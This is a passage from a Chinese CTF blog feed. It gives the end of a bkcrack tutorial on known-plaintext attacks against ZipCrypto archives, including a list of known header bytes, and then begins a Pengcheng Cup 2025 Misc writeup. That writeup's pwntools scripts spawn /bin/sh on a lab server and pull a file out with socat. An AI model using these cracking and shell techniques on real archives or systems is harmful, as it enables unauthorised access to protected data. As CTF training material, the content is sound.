.\flag.zip</span><br><span class="line">Index Encryption Compression CRC32    Uncompressed  Packed size Name</span><br><span class="line">----- ---------- ----------- -------- ------------ ------------ ----------------</span><br><span class="line">    0 ZipCrypto  Store       373b10b2         3302         3314 attack_it.pyc</span><br><span class="line">    1 ZipCrypto  Store       ac459bd9         1411         1423 flag.py</span><br></pre></td></tr></table></figure><p>所以可以得到 <code>-x 0 cb0d0d0a00000000</code> <code>-x 12 83050000</code>，拿来明文攻击</p><blockquote><p>注意这里的文件大小部分是小端序，所以把 1411 转为 <code>0x583</code> 后还要反过来</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">$ bkcrack -C flag.zip -c attack_it.pyc -x 0 cb0d0d0a00000000 -x 12 83050000</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">[22:43:00] Z reduction using 1 bytes of known plaintext</span><br><span class="line">100.0 % (1 / 1)</span><br><span class="line">[22:43:00] Attack on 2490368 Z values at index 6</span><br><span class="line">Keys: d7fe0787 b3af2704 99fa95dc</span><br><span class="line">71.6 % (1782604 / 2490368)</span><br><span class="line">Found a solution. Stopping.</span><br><span class="line">You may resume the attack with the option: --continue-attack 1782604</span><br><span class="line">[23:06:54] Keys</span><br><span class="line">d7fe0787 b3af2704 99fa95dc</span><br></pre></td></tr></table></figure><h1 id="ZipCrypto-Deflate-下的明文攻击"><a href="#ZipCrypto-Deflate-下的明文攻击" class="headerlink" title="ZipCrypto Deflate 下的明文攻击"></a>ZipCrypto Deflate 下的明文攻击</h1><p>这里给出一个例题，这个是某群群友发出来的</p><p><img src="https://assets.bili33.top/img/bkcrack-known-bytes-attack-decipher/7zFM_GvyFBG71xt.png"></p><p>题目提供了明文 png 文件和一个被加密的 zip 包，打开加密的 Zip 包发现明文图片用 Deflate 压缩</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ bkcrack -L .\Flying.zip</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">Archive: .\Flying.zip</span><br><span class="line">Index Encryption Compression CRC32    Uncompressed  Packed size Name</span><br><span class="line">----- ---------- ----------- -------- ------------ ------------ ----------------</span><br><span class="line">    0 ZipCrypto  Store       ba41996d           44           56 f-l-a-g.txt</span><br><span class="line">    1 ZipCrypto  Deflate     5d9fd6ba       167770       167769 椋炲ザ榫?png</span><br></pre></td></tr></table></figure><p>对于 Deflate 压缩过后的文件，我们得用同样的方式来构造“明文”，直接用压缩软件压一个就好了</p><p><img src="https://assets.bili33.top/img/bkcrack-known-bytes-attack-decipher/7zG_z8aoXZDjnP.png"></p><p>只要选择不是 0 的，就不是 Store 了，记得压缩方式不要选到别的了</p><p>压完了以后就可以去测测是不是对的了，如果不是对的会出现类似于这样的提示</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ bkcrack -C .\Flying.zip -c 飞奶龙.png -p 飞奶龙.png -o 0</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">Data error: ciphertext is smaller than plaintext.</span><br></pre></td></tr></table></figure><p>这里说密文比明文小，暗示我们要选压缩等级更高的压缩方式，我这里测到这题是最大压缩（9级）</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">$ bkcrack -C .\Flying.zip -c 飞奶龙.png -P 飞奶龙.zip -p 飞奶龙.png</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">[23:32:44] Z reduction using 167750 bytes of known plaintext</span><br><span class="line">31.3 % (52423 / 167750)</span><br><span class="line">[23:32:47] Attack on 97 Z values at index 115720</span><br><span class="line">Keys: 78a02143 81566f2b 1315c203</span><br><span class="line">100.0 % (97 / 97)</span><br><span class="line">Found a solution. Stopping.</span><br><span class="line">[23:32:47] Keys</span><br><span class="line">78a02143 81566f2b 1315c203</span><br></pre></td></tr></table></figure><p>反正如果遇到 Deflate，就自己手动压缩一下去试试是什么等级压缩，然后构造明文就好了</p><h1 id="常见的可用于爆破的明文内容"><a href="#常见的可用于爆破的明文内容" class="headerlink" title="常见的可用于爆破的明文内容"></a>常见的可用于爆破的明文内容</h1><ul><li><code>pcapng</code>: <code>-x 0 0a0d0d0ab00000004d3c2b1a01000000ffffffffffffffff</code></li><li><code>pcap</code>: <code>-x 0 d4c3b2a10200040000000000000000000000040001000000</code></li><li><code>xml</code>: <code>-x 0 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e</code></li><li><code>vmdk</code>: <code>-x 0 4b444d56010000000300000000007f0000000000</code></li><li><code>svg</code>: <code>-x 0 3c3f786d6c2076657273696f6e3d22312e302220</code></li><li><code>eml</code>: <code>-x 0 44656c69766572792d646174653a</code></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="CTF" scheme="https://bili33.top/categories/CTF/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="MISC" scheme="https://bili33.top/tags/MISC/"/>
    
    <category term="bkcrack" scheme="https://bili33.top/tags/bkcrack/"/>
    
  </entry>
  
  <entry>
    <title>2025 第五届“鹏城杯”联邦网络靶场协同攻防演练（初赛）个人 Writeup</title>
    <link href="https://bili33.top/posts/CTF-PCB2025-Preliminary-Round-Writeup/"/>
    <id>https://bili33.top/posts/CTF-PCB2025-Preliminary-Round-Writeup/</id>
    <published>2025-12-13T11:05:12.000Z</published>
    <updated>2026-03-31T05:59:59.342Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><div class="note info flat"><p>我先燃尽了，四次 bkcrack，出题人是真喜欢这东西啊</p><p>还有一堆散点杂色像素图，看的眼睛都要瞎啦</p><p>您每题的图片都要藏那么点东西是吗</p></div><p>本次的 PCB 我负责的是 Misc 部分（毕竟我们队里三个搞 Web 的，不如放给那两个经验丰富的 Web 手来搞，我还是回归我擅长的 Misc 领域吧，Web 转 Misc 这块），所以下面我会讲一讲 Misc 部分我的思路，解出来了的题目会标记 <code>Solved</code> 的</p><p>下面放一下战况</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/msedge_0nfNkC6X3e-1765620094315-134-1765621747343-218.png"></p><h2 id="time-Solved"><a href="#time-Solved" class="headerlink" title="time | Solved"></a>time | Solved</h2><p>题目上来就给了个 ELF 文件</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094315-136-1765621747343-219.png"></p><p>nc 给出的服务器，会给出 base64 编码后的 zip 文件数据流，并询问现在几点</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094305-100-1765621747343-220.png"></p><p>解压出来发现图片，就是个时钟</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094305-101-1765621747343-221.png"></p><p>因为 OpenCV 的识别率不高，且考虑到只有 12 种情况，所以用建哈希表的玩法</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> remote, context</span><br><span class="line"><span class="keyword">from</span> zipfile <span class="keyword">import</span> ZipFile</span><br><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> md5</span><br><span class="line"></span><br><span class="line"><span class="comment"># 计算 0 - 11 点的图片的 md5</span></span><br><span class="line">hashmap = &#123;&#125;</span><br><span class="line"><span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">12</span>):</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">f&quot;preset/<span class="subst">&#123;_&#125;</span>.png&quot;</span>, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        data = f.read()</span><br><span class="line">        h = md5(data).hexdigest()</span><br><span class="line">        hashmap[h] = _</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&quot;debug&quot;</span></span><br><span class="line">io = remote(<span class="string">&quot;192.168.18.31&quot;</span>, <span class="number">24001</span>)</span><br><span class="line"></span><br><span class="line">TIPSIG = <span class="string">b&#x27;):\n&#x27;</span></span><br><span class="line"></span><br><span class="line">intro = io.recvline()</span><br><span class="line">data = io.recvline()</span><br><span class="line">carriage = io.recvline()</span><br><span class="line">tip = io.recvline()</span><br><span class="line"><span class="built_in">print</span>(tip)</span><br><span class="line">result = TIPSIG</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> TIPSIG <span class="keyword">in</span> result:</span><br><span class="line">    zipstream = base64.b64decode(data)</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;tmp.zip&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(zipstream)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">with</span> ZipFile(<span class="string">&quot;tmp.zip&quot;</span>, <span class="string">&quot;r&quot;</span>) <span class="keyword">as</span> zip_ref:</span><br><span class="line">        zip_ref.extractall(<span class="string">&quot;.&quot;</span>)</span><br><span class="line">        </span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;0.png&quot;</span>, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        imgdata = f.read()</span><br><span class="line">        h = md5(imgdata).hexdigest()</span><br><span class="line">        <span class="keyword">if</span> h <span class="keyword">in</span> hashmap:</span><br><span class="line">            hour = hashmap[h]</span><br><span class="line">            minute = hour * <span class="number">5</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            hour, minute = <span class="number">0</span>, <span class="number">0</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;Send line: <span class="subst">&#123;hour&#125;</span>:<span class="subst">&#123;minute:02d&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 发送结果</span></span><br><span class="line">    io.sendline(<span class="string">f&quot;<span class="subst">&#123;hour&#125;</span>:<span class="subst">&#123;minute:02d&#125;</span>&quot;</span>.encode())</span><br><span class="line">    result = io.recvuntil(TIPSIG)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(result.decode())</span><br><span class="line">io.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后发现第一次正确了，第二次直接炸，手动也是这样</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094305-102-1765621747343-222.png"></p><p>应该没那么简单 &#x3D;-&#x3D;</p><p>看了一下，输入应该是 h，即只用告诉它是几点钟，所以我这里应该是卡输入格式问题了，重新修正了一下 </p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094305-103-1765621747343-223.png"></p><p>全对会让执行一个命令，我直接反弹 shell（错误的，反弹不了，好像不出网）</p><p>没办法，看了一下 bin 里面有 socat，把文件下载下来好了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> io</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> remote, context</span><br><span class="line"><span class="keyword">from</span> zipfile <span class="keyword">import</span> ZipFile</span><br><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> md5</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&quot;debug&quot;</span></span><br><span class="line"></span><br><span class="line">hashmap = &#123;&#125;</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[*] Loading presets...&quot;</span>)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">12</span>):</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">f&quot;preset/<span class="subst">&#123;_&#125;</span>.png&quot;</span>, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            data = f.read()</span><br><span class="line">            h = md5(data).hexdigest()</span><br><span class="line">            hashmap[h] = _</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[+] Loaded <span class="subst">&#123;<span class="built_in">len</span>(hashmap)&#125;</span> presets.&quot;</span>)</span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[-] Error loading presets: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">    sys.exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    p = remote(<span class="string">&quot;192.168.18.31&quot;</span>, <span class="number">24001</span>)</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[-] Connection failed&quot;</span>)</span><br><span class="line">    sys.exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">PROMPT = <span class="string">b&#x27;): &#x27;</span> </span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">12</span>):</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;\n========== Round <span class="subst">&#123;i+<span class="number">1</span>&#125;</span> / 12 ==========&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        raw_data = p.recvuntil(PROMPT)</span><br><span class="line">    <span class="keyword">except</span> EOFError:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;[-] Server disconnected prematurely.&quot;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    lines = raw_data.strip().split(<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">    b64_data = <span class="string">b&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span> line <span class="keyword">in</span> lines:</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(line) &gt; <span class="number">100</span>:</span><br><span class="line">            b64_data = line.strip()</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">            </span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> b64_data:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;[-] Base64 data not found.&quot;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    target_idx = <span class="number">0</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        zip_bytes = base64.b64decode(b64_data)</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">with</span> ZipFile(io.BytesIO(zip_bytes), <span class="string">&quot;r&quot;</span>) <span class="keyword">as</span> z:</span><br><span class="line">            img_data = z.read(<span class="string">&quot;0.png&quot;</span>)</span><br><span class="line">            </span><br><span class="line">        img_hash = md5(img_data).hexdigest()</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> img_hash <span class="keyword">in</span> hashmap:</span><br><span class="line">            target_idx = hashmap[img_hash]</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[+] Match! Index: <span class="subst">&#123;target_idx&#125;</span> (Hash: <span class="subst">&#123;img_hash[:<span class="number">6</span>]&#125;</span>...)&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[-] No match for hash: <span class="subst">&#123;img_hash[:<span class="number">6</span>]&#125;</span>...&quot;</span>)</span><br><span class="line">            </span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[-] Error processing image: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    payload = <span class="built_in">str</span>(target_idx)</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[&gt;] Sending: <span class="subst">&#123;payload&#125;</span>&quot;</span>)</span><br><span class="line">    p.sendline(payload.encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    output = p.clean(timeout=<span class="number">0.1</span>)</span><br><span class="line">    <span class="built_in">print</span>(output.decode(errors=<span class="string">&#x27;ignore&#x27;</span>))</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;\n[+] Rounds finished. Getting shell...&quot;</span>)</span><br><span class="line">payload = <span class="string">b&quot;/bin/sh&quot;</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;[&gt;] Sending payload: <span class="subst">&#123;payload&#125;</span>&quot;</span>)</span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;\n[+] Exfiltrating using socat...&quot;</span>)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    p.clean()</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">cmd = <span class="string">b&#x27;socat -u FILE:&quot;Bandizip(flag).zip&quot; STDOUT&#x27;</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;[&gt;] Sending: <span class="subst">&#123;cmd&#125;</span>&quot;</span>)</span><br><span class="line">p.sendline(cmd)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[*] Downloading raw data...&quot;</span>)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    p.recvline()</span><br><span class="line">    </span><br><span class="line">    data = p.recvall(timeout=<span class="number">5</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;flag.zip&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(data)</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[+] Download complete! Size: <span class="subst">&#123;<span class="built_in">len</span>(data)&#125;</span> bytes&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[*] Try to unzip flag.zip now.&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[-] Error: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">p.interactive()</span><br><span class="line">p.close()</span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094305-104-1765621747344-225.png"></p><p>不是哥们？又加密了</p><p>bkcrack 看一眼</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ bkcrack -L flag.zip</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">Archive: flag.zip</span><br><span class="line">Index Encryption Compression CRC32    Uncompressed  Packed size Name</span><br><span class="line">----- ---------- ----------- -------- ------------ ------------ ----------------</span><br></pre></td></tr></table></figure><p>嗯？空的？修复一下试试？</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">zip -FF flag.zip --out flag-fixed.zip                                                                             ─╯</span></span><br><span class="line">Fix archive (-FF) - salvage what can</span><br><span class="line"> Found end record (EOCDR) - says expect single disk archive</span><br><span class="line">Scanning for entries...</span><br><span class="line"> copying: data.txt</span><br><span class="line">        zip warning: no end of stream entry found: data.txt</span><br><span class="line">        zip warning: rewinding and scanning for later entries</span><br><span class="line">        zip warning: zip file empty</span><br></pre></td></tr></table></figure><p>真是空的哥们？问了 AI 说是 socat 的问题，让它给我改了一版</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> io</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> remote, context</span><br><span class="line"><span class="keyword">from</span> zipfile <span class="keyword">import</span> ZipFile</span><br><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> md5</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&quot;debug&quot;</span></span><br><span class="line"></span><br><span class="line">hashmap = &#123;&#125;</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[*] Loading presets...&quot;</span>)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">12</span>):</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">f&quot;preset/<span class="subst">&#123;_&#125;</span>.png&quot;</span>, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            data = f.read()</span><br><span class="line">            h = md5(data).hexdigest()</span><br><span class="line">            hashmap[h] = _</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[+] Loaded <span class="subst">&#123;<span class="built_in">len</span>(hashmap)&#125;</span> presets.&quot;</span>)</span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[-] Error loading presets: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">    sys.exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    p = remote(<span class="string">&quot;192.168.18.31&quot;</span>, <span class="number">24001</span>)</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[-] Connection failed&quot;</span>)</span><br><span class="line">    sys.exit(<span 